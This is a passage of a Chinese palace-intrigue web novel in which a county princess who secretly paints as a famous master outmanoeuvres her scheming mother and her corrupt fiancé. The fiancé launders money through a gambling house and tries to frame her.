今日,在宫里,梁幼仪送给她的玉盒和锦袋,她第一时间就和月梅一起去找母亲柳夫人。 柳南絮把那瓶延胡索递给柳夫人,激动地说:“娘,你快把这个药拿给父亲和兄长试试。” 今日尾牙宴还没结束,柳老爷头疼已经犯了,太医也束手无策。 柳老爷疼得恨不能跳御湖,此时哪里想那么多,直接打开药瓶就吞下一颗。 约莫过了一刻钟,柳老爷眉目轻松下来,不止头不疼了,全身的毛孔无一不舒服。 他禁不住老泪纵横,说道:“夫人,大姑娘可是救了我的命了。” 柳夫人激动得眼泪婆娑:“老爷,真有效?” “有效,我不止不头疼,全身都觉得轻松了许多。” 他拿起来瓶子看了看,药丸黑乎乎的,不多,只有十二丸。 夫妻俩找到柳南絮,恨不能立即给她下跪。 柳夫人眼泪婆娑,说道:“世子夫人,如果你能找到这延胡索的配方,或者能找到长期供药的人,柳家要给你立长生祠啊!” 柳南絮激动得心花怒放,小姑子虽然说是辅国公从战场偶然缴获,但是她就觉得小姑子能弄到更多的延胡索。 太后与小姑子的矛盾她看得很清楚,她不能在人前表现与梁幼仪关系好。 不然,她也会成为太后的眼中钉,没有好下场。 她嫁入定国公府之前,梁景湛对她唯一的要求是:“必须尊重姑姑。” 原先多少听到一些传言,说国公府全员宠爱梁言栀,但是她进了门才知道“宠”是怎么回事。 姑姑想做太子妃,原本属于小姑子梁幼仪的婚姻,被迫让出来。 原本小姑子被太子的同父异母的兄弟靖南王瞧上,正要找先帝赐婚,是姑姑,联合祖父,把小姑子塞给泥腿子出身的傅璋。 太子暴毙,姑姑想让自己的儿子做皇帝,定国公府以三十万梁家军给轩和帝施压,轩和帝被迫立萧千策为皇太孙。 姑姑想做至高无上的女皇,定国公府就联合容云鹤大将军,逼着太皇太后同意姑姑临朝听制...... 为了宠太后姑姑,整个国公府已经被掏空,外面欠下的血债更是数不胜数。 为了宠姑姑,整个国公府的人像得了失心疯,连自己年幼的儿子梁耀宗也必须让路。 更不要说她们这些侄媳妇还是外人,只要惹姑姑不高兴,轻则家法,重则要命。 一家人病态的宠爱着姑姑,一路扶持她到了太后。 很快,她柳南絮也加入舔狗大军,不宠太后,就无法在定国公府立足,无法帮衬娘家。 做了太后的舔狗,她顺利地被封世子夫人、超品诰命夫人,不出意外,她的男人以后会是国公爷,她的耀宗会是定国公世子。 慢慢的,她比其他妯娌对太后更忠心,对梁幼仪的打压比谁都积极...... 可是这么多的光环,都无法弥补柳氏一族的死亡魔咒,曾祖父、祖父头疼致死的一幕,像无法剥离的噩梦,套住柳氏一族。 她不相信梁幼仪是圣母,更不相信她臣服自己,小姑子示好,无非是想关键时刻,她站出来说句话。 曾祖母在世时,护着小姑子,曾祖母去世后,小姑子一门心思想靠着傅璋。 柳南絮看得很清楚,小姑子并不是喜欢傅璋,只是想跳出国公府,跳出祖父祖母的控制罢了。 可,傅璋更不是东西。 今天关键时刻,她在祖父祖母面前帮梁幼仪说了话,还在祠堂跪下求梁景湛放过郡主,目前看来,真是太有远见了。 太后能给前途,可小姑子能续命啊! 她愿意欺上瞒下,在夹缝里给梁幼仪一些助力...... 柳南絮眼观六路耳听八方,一边准备随时伺候太皇太后,一边开着小差拨算盘珠子,还留出一部分精力听着外面的动静。 这时候,月兰匆匆进来,在她耳边小声说道:“夫人,丞相大人来了,在路上摔得鼻青脸肿的。” 柳南絮禁不住冷笑,装什么呢? 她第一时间叫小蚊子骑快马给傅璋送信求救。 小蚊子还在半道就遇见了他。 却现在才到? 吃屎都赶不上热乎的。 “夫人,他说要谈下聘和大婚。” “哦,是哦,今儿赐平妻的圣旨下来了,妹妹终于要大婚了,还是和一个绿帽子平妻同日进门。” 柳南絮冷笑道,“孩子都死了他来奶了,如今他想娶,只怕妹妹还不想嫁呢!” 第55章 未相思,笔落便是一个倾国倾城的他 太皇太后一行人在国公府,待了半个时辰,便起驾回宫。 文国公、燕南侯、晋侯,也都一起回去。 目送太皇太后远去,定国公府一门主子才站起来,关了大门。 柳南絮悄悄对梁幼仪说:“妹妹,丞相大人来了,在花厅等着,你愿意见他就见,不愿意见就回竹坞,今天你受惊了,不见客很正常。” “多谢嫂嫂。” 柳南絮冲她眨眨眼,马上满脸带笑地去扶梁老夫人离开。 “仪儿。”恢复威严的国公夫人,喝住梁幼仪,“你什么时候和太皇太后有了勾连?” 梁幼仪站住,看看姜霜,声音淡漠地说道:“母亲不累吗?” 一语双关。 姜霜张口结舌。 梁幼仪在她发作之前,叫芳苓搀扶着回竹坞。 芳苓低声说:“郡主,我们,安全了吗?” “祖父和祖母不会再动手,但是,母亲这个蠢的就不好说了。”梁幼仪想到叠锦才打听的消息,一边走一边说,“芳苓,回头你去一趟尺素坊,叫红袖来见我。” 买砒霜?我也送你一份大礼! 她在芳苓的搀扶下往竹坞走,傅璋在待客厅看见了她,立即叫王巍推着轮椅出来。 “郡主,我等你多时了。” 傅璋此时肠子都悔青了。 他原本以为路上磨蹭一会儿,梁幼仪挨了打,他就好乘虚而入了,哪里想到姬染竟然搬动太皇太后为梁幼仪解了围? 太皇太后和太后不对付,竟然登定国公府的大门了? 为什么? 梁幼仪上下打量他一眼:双臂骨折,腿骨折,脑袋上又添新伤。 下次可以继续打脑袋,把脑袋也打瘸! “丞相大人找我有事?” “我听闻你要挨罚,就慌慌张张过来,可是我今儿受了伤,路上走不快,还摔了一跤。”傅璋很诚恳地道,“对不起,我来晚了。” 梁幼仪看看马上走过来的梁知年、梁景湛,说了一句:“丞相辛苦了。” 转脸就走。 男女有别,他总不会冲过来拉住她。 王巍看她转身就走,对傅璋说:“相爷,大婚之事,您怎么不给郡主说?” 傅璋摇头,在宫里刚被她抽了鞭子,再提大婚的事,还是正妻平妻同日进门,只会叫她痛恨自己。 她若真服下那药,不过三五日的光景,他愿意求她原谅,哄她开心,让她自愿把身家交给他。 只可惜,如今的她连一句话都不想与他多说。 梁勃已经六十岁了,接待完太皇太后,已经有些精力不济,看见傅璋,忽然想起来今日赐平妻的事,顿时脸上的笑容消失。 疲惫地说:“丞相大人突然造访,有何事?” “我想见见国公夫人,商议下聘的事。” “刚才宫里已经去相府宣旨了吧?”梁景湛问,“你是打算正妻、平妻同日进门吗?” 傅璋把圣旨给他们看了。 果然是正妻和平妻同日进门。 “既然婚期定下来了,那就好好准备吧。”梁勃一边拿杯盖拨茶叶一边说,“景湛,这个事交给你母亲和你媳妇去办。” 傅璋立即说:“那就辛苦国公夫人和世子夫人了,我想去见见国公夫人,商议一下聘礼的事。” 梁景湛陪着傅璋去姜霜那边商量下聘和婚期,叠锦偷偷跟了上去。 梁幼仪回到竹坞,主仆几个松懈下来,才感到前所未有的疲惫。 芳芷蹲在梁幼仪跟前,劫后余生,让她十分难受,哽咽着说:“郡主,今天好险……” “哭什么呀,傻丫头。”梁幼仪轻轻拍拍她的肩膀,“我早就预料到了,所以救出小侯爷时,就对他说我可能难逃一劫。” 芳芷惊讶的眼泪挂在眼角:“那么早你就知道?” “我救了小王爷,太后肯定会大做文章。” 芳芷含泪笑了,郡主看似不声不响,那位算计了她那么多年,总体也没占多少便宜。 说话间,叠锦在门外禀报有事。 梁幼仪起来,去了书房。 “属下刚才跟踪到梨花院,傅璋拐弯抹角向国公夫人打听给郡主下药的事……” 叠锦声音低下来。 亲娘和未婚夫商量毒死自己,郡主心里肯定难受吧? 梁幼仪如今对这两个人已经完全没了期待,所以伤心也谈不上,淡淡地说道:“你只管照实说,他们又想了什么新招?” “国公夫人赖掉了,说姚氏没有给过她药,在宫里根本没说话。傅璋不信,两人不欢而散。” 叠锦又说,“傅璋并不知道太后娘娘要除掉夏青樾,他与老太爷已经定下,正妻和平妻三月初三同日进门。” “……” “郡主,您,真要嫁过去吗?” “不会!” 逼急了,不是还有至亲亡故守孝三年吗? 那就先为姜霜守孝三年! 傅璋如今只是断腿、断臂,不是还可以断头吗? “肚兜、亵裤的谣言还在发酵,咱们府老太爷派人在查,是谁散布谣言……” 老太爷不应该重点查查傅璋到底是什么样的人吗? 梁幼仪靠着圈椅背,默默听着叠锦事无巨细地汇报。 傅璋指使杀了二十多个流民,连他的大舅哥姚立春、贴身侍卫都替他顶了死罪,这么多条人命,加上黄德胜一张刀子嘴,都扳不倒他,可见其中还有她不知道的秘密。 难不成太后有重大把柄握在傅璋手里? 她想到梦里那一世,凤阙一年后要死于东启国的大战,满朝堂对他极尽污蔑,对齐王府赶尽杀绝,齐王府从此退出历史,就有些堵得慌。 为什么,为大陈付出这么多的凤阙惨死,而傅璋那样的小人却一直顺风顺水? 为什么整个定国公府和萧千策,像护亲爹似的护着他? 她的梦还是太简单了。 谜团重重,需要她一一去揭开。 “郡主,有人来了。”叠锦说完就隐身了。 梁幼仪出了书房,便看见姜霜院子里的一等大丫头入画来了竹坞。 “郡主,丞相大人要见您,有事商量。” “我累了,谁也不见。” “可是大婚……” 入画没说完,梁幼仪已经进了内室,入画皱眉道:“郡主,奴婢话还没说完呢。” “我累了。” 梁幼仪再次冷漠地说了一句,帘子把里外隔成两个世界。 入画只好走了。 芳苓问道:“郡主,您答应麒麟阁要再拿一幅画给他们,来得及吗?” 是哦,梁幼仪答应简玉珩,用一幅松青大师的画,换撤拍的千年红珊瑚。 六十大寿,六十大寿…… 她琢磨了一会儿,问道:“齐王府的老太妃是要过六十大寿了吧?” 芳苓想到前些日子打探来的消息,凤阙是因为老太妃六十大寿才回京的。 回禀道:“是。” 梁幼仪眉毛挑了挑,简玉珩不会是为了老太妃要祝寿图吧? 次日,她给柳南絮打声招呼,说要去巡查自己名下的几个铺子,年底了,她要盘账。 像定国公府这样的权贵之家,嫡女都有自己的庄子、铺子。 梁幼仪这次出去,没有叫青时驾车,也没叫芳苓、芳芷跟着,而是叫叠锦驾车,用了府里的普通马车。 出了府门,把标志也摘下来。 绕了几圈,去了东城。 京城格局,东富西贵,北贫南贱。 她在东城有一个院子,记在画楼名下,除了她和叠锦,就连芳苓和芳芷都不知道。 院子很大,高墙飞檐,易守难攻,对外叫“东城吟曲胡同一号院”,对内,她管它叫南笙居。 曾祖母长乐公主,名讳萧玉笙,她与曾祖母在淮南生活了十一年,各取一字,唤作南笙居。 院子一直是画楼守着,他以前是曾祖母的人,明面上是南城斗兽场的伙计,实际上是她的心腹管家。 这座院子是曾祖母活着时,偷偷给梁幼仪的一处安身立命的退路。 她犹记得,十二岁那年,曾祖母不行了,弥留之际,把她叫到跟前。 摸着她的头说:“幼幼,曾祖母知道你委屈,曾祖母一辈子也委屈……给你留了一处宅子,没有我了,你有个退路。” 在定国公府,是曾祖母抚养她长大,对她最好,是唯一为她有些打算的。 只可惜没等她长大,曾祖母就去了。 她与太子的婚事,也有曾祖母的意愿在里面,只可惜曾祖母去了,婚事也被祖父祖母做主给了梁言栀。 梁幼仪从淮南回来,过了很久才来看这个院子,发现曾祖母给她留下的不止院子,还有两箱珠宝玉器银票,画楼说那是曾祖母给她准备的嫁妆。 马车安安稳稳进了巷子,叠锦武功高,一路上听风辨音,并没有发现有人跟踪。 听到约定的敲门声,画楼立即开门,把马车迎进去。 画楼手脚利索地在画室里生了火笼,纸张铺开,颜料都备好,就出去了。 梁幼仪沉浸画作中,直到天渐渐黑了,她才停手。 连续三天,作品完成。 她在左侧题字“鸑抱云霞朝凤阙”,落款——松青! 签章。 完事! 不过她画的不是祝寿图,而是一幅纵马图。 奔宵骏马,乌黑彪悍,四蹄生风,毛发飘逸,隔着画面,都能感受到强健的肌肉和奔腾的力量。 白色锦袍的贵公子策马奔腾,衣袂飞扬,发丝都充满了动感。 背景是梦幻飘逸的紫色云霞,与衣袂和发丝相映。 若顾若虚在,一定会叫起来:“这画的不是凤小王爷嘛。” 她的特长不是写意,而是写实。 画中的凤阙不仅容貌百分百还原,就连神情都惟妙惟肖,栩栩如生。 赛马场那天,他说“有事别憋着”。 尾牙宴那天,他说“考虑一下本王好不好啊梁幼仪”。 她要被吊祠堂执行家法,姬染带着太皇太后来,保了她的命,给她撑了腰。这是凤阙的手笔! 她也不知道说什么,不知道做什么,来到画室,提笔就画了他。 停了手,歪头来回看了看。 梁幼仪轻轻伸手摸了摸“他”的脸,嗯,桀骜、野性、锋利…… 小王爷好看,倾国倾城! 第56章 你胸这么扁平,是不喜欢长大吗 欣赏一番,把它转移到内室,锁了门。 在书画架上抽出一幅装裱好的《富贵寿考》祝寿图,出了画室,又锁上了门。 麒麟阁要得太急,即便她能画出来,装裱也来不及。 刷浆糊、托纸、晾干、打浆固定、打蜡、剪边、装天地杆轴、挂网结带……这些手工活儿最起码六七天时间。 四天时间,根本不够,她也不会赶工。 因为,她不想任何人知道,她就是松青大师。 松青的画作,一出世便是成品,装裱的活儿她从不假他人之手。 出了南笙居,回府。 红袖昨天给她传话,她要的人接来了,今儿已经安排上了。 不出意外,今天她就可以看好戏了。 还没进竹坞,柳南絮就半道追上来:“妹妹,你这几日铺子盘点完了吗?” “差不多了。嫂嫂有事?” “妹妹,我跟你说,今儿父亲在外面,遇见一家从西南逃荒来的,那家的老婆和两个小孩都冻饿死了,那男人求着父亲,把女儿十两银子卖给国公府,拿十两银子烧埋全家。” 柳南絮似乎有难言之隐,梁幼仪看着她,问道:“父亲没买吗?” “买了,你不知道那女子已经十六岁了,长得……”柳南絮比划一下,说道,“胸、臀、腰,啧啧啧,简直了。” 梁幼仪说道:“一个丫头而已,你安排在父亲院子里做个洒扫的粗使丫头好了。” 柳南絮神情有些古怪,笑着说:“妹妹,只怕这丫头,做不久。” “仙人跳?” “不是,不是。”柳南絮一下子解释不清,恰好是用夜饭的时候,便拉着她,屏退左右,去国公爷的院子外,叫她悄悄地看。 梁知年是武将,一半的时间都在边关,原本姜霜只安排了一个洗晒婆子,其他的全是小厮和侍卫。 只见一个亭亭玉立的女子,在院子里打扫。 她穿着丫鬟服饰,蜂腰削肩,鸭蛋脸,高高的鼻子。 最突出的是她有着一对儿无与伦比的大胸,细腰,翘臀,模样不说是倾国倾城,但肯定算得上标致。 她虽然穿着下人服装,那举手投足,却无一不风情万种。 偏偏,她长着一张清纯至极的脸,像一个不谙世事的娃娃,一双湿漉漉的眼睛,透着信任和好奇。 哪个男人受得了。 这样的人,不知是怎么活到这么大的。 两人正偷眼看着,却见定国公梁知年从屋子里出来,站在门口,看着她。 “桃夭,该吃饭了,你还扫什么院子?” 梁知年沉着脸喝了一声,“回头叫院里嬷嬷教教你府里的规矩。” “老爷,我不舒服。”桃夭却像小孩子天生依赖大人一样,声音又甜又脆,还带一点烦恼,“老爷,我气都喘不过来了。” 柳南絮双手捂了捂耳朵,我的娘欸,这声音,耳朵都要怀孕了。 梁幼仪依旧面无表情,心说:桃夭真是天生吃这碗饭的呀! 想当初,她的母亲桃嫣,艳冠宁国,宁国上至天子,下至达官贵人,都是桃嫣的裙下臣。 以至于宁国文武百官家眷联名要求处死她,皇家出动御林军,百官家眷派出府兵,联手狙击,桃嫣还是带着桃夭活着逃出宁国。 没办法,一众男人护着呢。 到了大陈,桃嫣还是喜欢做这行,利用原本积攒的银子,开了一艘花船,后来不幸染上脏病,医药无治,死了。 桃夭是她的女儿,梁幼仪遇见她时,她已经是秦淮花船上小有名气的花娘。 她花了重金为她赎身,交给了红袖。 柳南絮说她十六岁,她们哪里知道,桃夭已经二十三了…… “老爷,桃夭太难受了,怎么办呀?”桃夭的话打断梁幼仪的回忆。 梁幼仪默默看着,桃夭想做什么? 梁知年瓮声瓮气地说:“哪里难受?病了?” 桃夭把手里的扫帚丢掉,像个单纯的不谙世事的女娃儿一样,蹦蹦跳跳走到他跟前,噘着嘴说:“老爷,我这里难受,闷气,还痒,气都喘不过来了。” 指着自己的胸口,使劲地扯着自己的衣衫,小声嘀咕道:“我从来没穿过这么好的衣服,可是也太小了,穿上难受得慌。” 那衣服是院里其他丫鬟统一做的衣服,尺寸已经算大了,谁想到府里能来这样一个极品呢? 全大陈也找不出来这么大的。 梁知年看她三下两下要扯开衣衫,喉结滚动几下,脸一拉,说道:“回头叫人给你换一件宽大些的,别在这里瞎嚷嚷,像什么样子!” “哦,我错了……老爷,可是我好难受呀,憋得慌,还痒,痒死我了。”她伸手去掏,“呐,就是这两个红尖尖,你摸摸……” 梁知年老脸一红,大喝一声:“闭嘴。” 梁幼仪转身就走,柳南絮也脚底抹油,快速跟出来。 小声说道:“妹妹,你看见了吧?哪个男人能顶得住?我都快流鼻血了!” “母亲知道了吗?”梁幼仪问道。 “知道了,但是父亲院子里想放个人,母亲大概也管不了。” 不知道怎么回事,柳南絮有些幸灾乐祸,却一本正经地说,“父亲是国公爷,他若想纳一房妾室,母亲也阻挡不了。” 那是自然。 梁幼仪放心了,不愧是她看上的极品,桃夭绝对能替代又蠢又笨又狠的姜霜。 回到竹坞,芳芷、芳苓都在屋里候着。 看见梁幼仪回来,俩大丫鬟都扑上来,一个个强压着心里的激动,八卦的眼睛闪闪发光。 “郡主,桃夭进府了。” “郡主,您都不知道,国公夫人今天脸都气得发紫了。” 芳苓笑得肚子疼,她奉命蹲守,今天桃夭进府,她要照应一下。 可没有想到,桃夭第一次进府,战斗力就震得她外焦里嫩。 今儿梁知年把桃夭带回来,叫姜霜带她去洗澡换衣服,本来灰不溜秋的村姑摇身一变,简直成了人间极品。 梁知年看了一眼,顿时呆了,全身硬了。 还要硬装正经。 姜霜看他眼睛不断地往桃夭身上溜,顿时心里明白,就说:“这丫头是乡下来的,一点规矩也没有,放庄子上去吧?” 梁知年半天没说话,姜霜看向他时,才发现他鼻血出来了,气得姜霜再次说了一句:“这丫头毛手毛脚,不适合留府里。” 梁知年沉着脸,说就留在自己院里,院子里缺个扫地的。 姜霜恼火,说她长成这个样子,不适合在府里当差。梁知年冷冷地看她一眼,说:“就这么定了。” 姜霜再也说不出话来,谁知道梁知年一转脸,侍书就骂桃夭是个狐媚子。 桃夭不甘示弱,咚咚咚跑到梁知年和姜霜跟前,懵懂无知地说:“那个姐姐骂我长这么大胸是狐媚子,我也没办法,这么大太讨厌了,干活很不方便。” 还羡慕地指着姜霜说:“夫人,我好羡慕你们,胸前平平的,屁股也小小的,干活多方便啊,这几年,我都快烦死了,怎么这样啊,谁能告诉我怎么办?” 姜霜:...... “混账,满口胡言,掌嘴!” 梁知年淡淡地说:“她是乡下来的,不知道规矩,慢慢给她说,你打她做什么?咱们国公府从来没有苛待下人的惯例。” 姜霜:...... 偏偏桃夭又说了一句:“你们为什么胸那么扁平?为什么臀部那么小,是不想长这么大吗?” 姜霜:...... 芳苓说着,就笑起来,小白牙在灯下亮闪闪的,学着桃夭的口气:“老爷,原来你也喜欢没胸的女人呀?唉,我快烦死了,长这么大做什么?” 芳芷笑得腰都直不起来了。 “偏偏桃夭还懵懵懂懂,国公爷叫她喊人就喊人,叫她干活就干活,乖巧得像个无害的小白兔。” 梁幼仪唇角轻轻勾了勾。 不是要合着外人给她下毒吗?姜霜,从今天开始,这一副毒药,你慢慢享用。 大家说笑了一阵子,梁幼仪对芳苓说:“你去麒麟阁一趟,松青大师的寿考图我拿来了。” 青时驾着马车已经去了麒麟阁,芳苓下车,把《富贵寿考图》交给简玉珩。 简玉珩看到祝寿图,还大吃一惊,松青大师四天时间内真画出来了? 打开,鉴定,果真是松青大师的真迹。 构图、色彩和线条技艺精湛,松树的苍劲、仙鹤的优雅、牡丹的雍容,寓意长寿又尊贵。 他仔仔细细地检查了许久,自言自语地说:“看来我真想多了。” 前几日,梁幼仪答应得那么爽快,他曾经怀疑过松青大师是梁幼仪身边的人,甚至也做过一个猜想,会不会是她自己? 虽然自己也觉得不可能。 今儿拿到画作,他确定松青不是梁幼仪本人。 这作品功底深厚,非男人那样的胸怀画不出。 系松青大师写意旧作,装裱后的尺寸超过五尺。 非常稀少。 简玉珩确定,这不可能是梁幼仪画的。 “松青大师说,起拍价不低于一千两银子。” 芳苓说,“这幅寿考图,是千年红珊瑚的替代品,无论拍出价格多少,除了约定的佣金,再赠送成交价的两成给麒麟阁做补偿。” 简玉珩狐狸眼笑得眯起来。 这样一幅画,成交价至少一万两银子,麒麟阁就能多赚两千两。 腊月十九日,麒麟阁在全城张贴告示—— 腊月二十日,岁末拍卖会,如期举行,欢迎买家莅临! 第57章 松青大师就是郡主!傅璋你可还行? 梁幼仪这几日早出晚归,一天到晚埋在画室里,傅璋也在紧锣密鼓地行动。 尾牙宴那日,傅璋在千秋阁表白梁幼仪,被揍! 在国公府求见,被拒! 连续三日,叫人递帖子,求见梁幼仪,急切地想知道她到底有没有中毒,结果门不得入,都没见着人。 第三次他不经通报,直接叫王巍推着轮椅闯进竹坞。 定国公府早有下人给柳南絮禀报,柳南絮皱眉:“这也奇怪了,丞相想做什么?为什么一定要见到郡主?” 郡主这几日出去盘账,她特许的,这个傅璋到底要做什么? 她特地派了月梅给竹坞那边提前通信,说王巍推着傅璋闯进来了。 芳苓得了信,在门口堵着,王巍要闯的时候,她就与王巍推搡了一下。 她手中细薄且无比锋利的小刀出手,一个物件迅速落在掌心,一顺一滑,东西到了袖笼里! 芳苓挖苦道:“丞相大人,即便你与郡主有婚约,也断没有私闯女子闺房的道理,奴婢都说了,郡主身体不适,你为何还要硬闯?” 司马昭之心路人皆知,你还演什么戏? 傅璋倒也没恼:“本相不过担心郡主,郡主既然无事,本相便放心了,不会再来打扰。” 喝住王巍,走了。 他们离开,芳苓得意地从袖笼里摸出一个牌子给芳芷看。 那牌子是铜质,手掌大小,铸有铭文:凡遇直宿者悬带此牌,出皇城四门不用。 铭文旁边落款校尉二字。 “王巍竟然是皇宫守卫。在任何时间内,自由出入四个皇城门,无人过问,无人敢拦,无人敢跟,权力很大呀!” 芳苓笑得米牙炫亮,说道,“芳芷,这牌子回头送给叠锦,他可以大摇大摆地进皇宫了。” 傅璋这几日天天缠着要见郡主,总要留点礼物吧。 皇宫有规定,凡弃毁夜巡铜牌者斩,王巍指定不敢说自己丢了。 芳芷冲着傅璋远去的身影呸了一口:“竹坞这么好闯的,活该!” 傅璋与王巍离开后,也没有再去拜访定国公府其他主子,他觉得姜霜很可能没有给郡主喂下毒药。 太后说那个毒药服下后,五日必死,今日已经是第四日,如果她服了毒,整个竹坞不该这么安静。 不管了,他要立即行动。 明日,麒麟阁拍卖会就要开始,他要拍下宝物,与太皇太后缓和关系,确保他的帝师之职还有回旋余地。 郡主的心既然挽回不了,那他也不勉强了。 东城的铺子不是给她了吗?那就利用起来。 她的财产不想露白,不想转让给他?那他就自己去拿,办法多的是。 回府,白燕一瘸一拐地悄声禀报,江南富商递了拜见帖子。 富商叫苏叶,来自宣州。 “相爷,您见不见?” “见!不过,不是本相去见,你安排郭掌柜去见。” 傅璋右手中指在桌上“咚~咚~”慢吞吞地敲着,说道,“苏叶第一次来京城,叫郭掌柜带他去南城赢天下好好玩玩。” 云裳郡主大概以为他相府负债十五万两,太后给的银子十万两,也只够还债,要拍下麒麟阁的两件至宝,傅璋只剩下贪墨一条路? 太小看他傅璋了! 哪个官员不贪墨? 只不过有的人玩得不高明,掉河里了,而他,就玩得比较高级,想抓住他的把柄?难! 人人都知道大陈的千斤担子,他独抗一半,每年一半的时间在全国各地巡查,可谁知道,他不光为太后忙,他更是为自己忙。 去江南巡盐,不早不晚,就挑仲秋去,就是因为要调拨国库的新粮,新粮换陈粮,一转手,差价就在每石七百文以上。 苏叶不过是来送银子的一个老熟人而已。 白燕立马懂了傅璋的意思,套了马车,与苏叶、城东“杂货铺”的郭掌柜,一起去了玉楼春。 大家一起吃了饭,便约好一起去赌坊“赢天下”玩几把。 这一天,赢天下来了一个其貌不扬的郭老爷,一个富态的苏老爷,两人玩了整整一天。 苏老爷人菜瘾大,屡战屡败,偏偏他钱袋子甚鼓,输了到底多少,只有庄荷看得清楚,三十多万两! 这是哪里来的败家子?庄荷都看得眼直了。 偏偏这苏老爷是个倔驴,输成这样了,还不知道收手,一直嚷嚷着要翻本,非赢了郭老爷不可。 “没银子了,明儿我还来,我非把本翻回来不可。” 赌徒十赌九输,但是看着苏老爷这样的肥羊,不宰是傻子。 赌客们都拉着他说:“苏老哥,明儿你一定要来啊!” 苏叶输了银子,眼睛有些红,大声说:“我肯定来!我差一点就赢了。” 众赌客都恭维他:“是啊,明儿来,说不得你真要赢天下了!” 苏老爷十分兴奋,摩拳擦掌,准备次日来战。 是夜,傅璋把王巍支出去,白燕悄悄进了书房,把一个木匣交给傅璋。 傅璋打开,里面是厚厚的一叠银票,万两面额,一共是三十五张。 至于赌徒们期待的宰肥羊,做什么美梦呢?只不过是万一东窗事发,人家丞相大人不在场的人证而已! 傅璋从书本下抽出三张百两银票递给白管家,道:“今日的事我全然不知,你也不认识苏老爷和郭掌柜。” 白燕懂事地点点头:“是,相爷什么也不知道,我也只是个赌坊的看客。” 白管家找苏叶、郭掌柜去赢天下豪赌时,傅璋叫王巍驾着马车,带他进了宫。 “启禀太后娘娘,臣接到密信,黄州有个暗香阁金库,藏金数百万两以上,每日源源不断地有金银流入其中。背后主子很神秘,传说是淮南王。” 太后大怒,不久,武德司的副指挥使孙洪宇被召进御书房,一道秘旨颁下。 令孙洪宇调动武德司五十人,立即与丞相的手下王巍同去黄州。 调动当地驻军,一举把“暗香阁金库”捣毁,所有金银收归国库。 王巍和孙洪宇前脚走,傅璋后脚立即写了一封密信,快马加鞭送往黄州刺史府。 他举报“梁幼仪名下”的暗香阁,只是借助皇家力量,报复梁幼仪,又不是自己想做圣人,那暗香阁数百万的金银,他怎么能白白错过。 黄州刺史是他的人,无论如何,抄没暗香阁,金银入国库前,他都要截下一半。 傅璋运筹帷幄,洗钱和抄家两手抓。 他默默地坐在桌案前,钱到手了,赃也栽好了,不管梁幼仪中没中毒,她都会背上洗钱的罪名。 他又派人抄了“她名下”的一间密铺,如果梁幼仪这次没中毒,他就不信梁幼仪不求到他头上。 王鹰去麒麟阁预定了明日拍卖会的贵宾间,回来后对他说:“相爷,不好了,千年红珊瑚退出竞拍了。” “什么?怎么会退出?” “麒麟阁贴出告示,说东家撤出竞拍,他们也没办法。” 傅璋气得用那只完好的腿把案几踹了。 自从那天崔世子偷听了他与梁幼仪的谈话,他一直很忐忑。 但是他没想到,太皇太后不仅没有为难他,还下了懿旨叫他去说说话。 太皇太后“不经意”地问到麒麟阁的千年红珊瑚是不是宁国的镇国之宝? 他硬着头皮说调查过了,确实是那一株。 说宁国因为忽然发生百年难遇的海啸,国库空虚,朝廷艰难,麒麟阁以五千石粮食换回来了。 太皇太后笑眯眯地说了一句:“宁国大概是太困难了,五千石粮食就把国宝让出了,咱们皇室可不能错过这么个至宝。” 她的意思,势在必得! 傅璋也明白,它不仅仅是举东洲大陆唯一的巨型千年红珊瑚,是一种身份的象征,最重要的是它能延年益寿。 无论如何,他都要把千年红珊瑚拍下来,送给太皇太后。 如今他已经把钱准备好,可麒麟阁说千年红珊瑚没了,他忍不住,实在是忍不住! 找麒麟阁算账去。 简玉珩还不知道千年红珊瑚已经到了他好兄弟手里。 他一收到梁幼仪拿来的《富贵寿考图》,立即去请凤阙。 凤阙一刻不停,骑马立即随他来了,哪有生病的样子? 看那图,自是欢喜:“祖母的六十大寿完美了。” 简玉珩说:“傅璋硬是要我找回千年红珊瑚,我去哪里找?人家不肯拍卖了,还很客气地拿松青大师的这幅祝寿图赔罪。” 凤阙抓住重点,问道:“松青大师的画是红珊瑚的主人拿来顶替的?” “是。” 凤阙顿时唇角翘起来了。 郡主,我似乎发现你的秘密了。 简玉珩说红珊瑚被它的主人撤拍了,不知道红珊瑚送给谁了。 他清楚得很啊! 所以,千年红珊瑚的主人不是别人,正是梁幼仪。 而红珊瑚的主人换了松青大师的画作,所以,松青大师的画作的委托人,也是梁幼仪。再加上当初,第一幅松青大师的画作出现在淮南黄州...... “傅璋不是逼着你要红珊瑚吗?我告诉你,你这么做——”凤阙懒懒地坐在椅子上,把法子教给简玉珩。 简玉珩笑问:“你是不是与傅璋有仇?” “当然,他不是太后一伙的吗?”凤阙一本正经地说,“皇家的走狗,自然与我有仇!” 子听悄悄瞥一眼凤阙,心说:小王爷越来越能扯了! 朝堂百官都是皇家走狗,你都讨厌? 还不是因为傅璋是云裳郡主的未婚夫! 凤阙忽然看向他,道:“子听?” “啊?王爷?您叫奴才?” “没啥事,就看你笑得有点蠢,叫一声。” 子听摸摸自己的脸,我很聪明的好吧?哪里蠢了? 第58章 凤阙立志坑死傅璋:拍卖会四个人里三个托 申时,麒麟阁已经按照凤阙的损招把一切准备好。 掌柜的进来,对简玉珩说:“阁主,丞相大人来了。” 简玉珩狐狸眼一挑,道:“娘的,饿了自己去外面找屎吃,找老子做甚么?” “找你吃新的,热乎!” “呕~恶心!” 简玉珩出楼阁,把傅璋迎进阁内。 傅璋道:“本相想知道千年红珊瑚在哪里?” 简玉珩抱歉地说:“对不住丞相大人,千年红珊瑚的主人不肯出手了,小店也没办法。” “红珊瑚不是麒麟阁的宝物吗?” “不是!如果是我麒麟阁的宝物,我们肯定不会拍卖,这样的宝物东洲大陆独一份,我们怎么可能出售?” 傅璋一时哑口无言,他本来想发难的话也说不出了。 麒麟阁是代为拍卖,货主不想出手了,麒麟阁又能如何? 傅璋想了一想,说:“这千年红珊瑚,有贵人急需。望阁主把持有者的名字告诉本相,本相找他亲谈,如何?当然,本相不会叫你白帮忙。” “丞相大人,我们与委托客人,都签了保密契约的。” 傅璋要看他们客户的名字,简玉珩当然不会答应。 “本相答应你三个条件,”傅璋咬牙道,“在本相权限范围内的,本相允诺三件事。” 简玉珩再次摇头。 傅璋威胁道:“阁主想好再说,本相无所谓,上头的贵人盯得很紧。” 简玉珩说:“相爷请容在下想想。” 一壶茶喝完,点心下肚,两人又说了许多的话,简玉珩上了两次茅房。 傅璋不急,今天简玉珩不答应,那麒麟阁便别想在京城混了。 他是丞相,毁掉一个麒麟阁,还是有办法的。 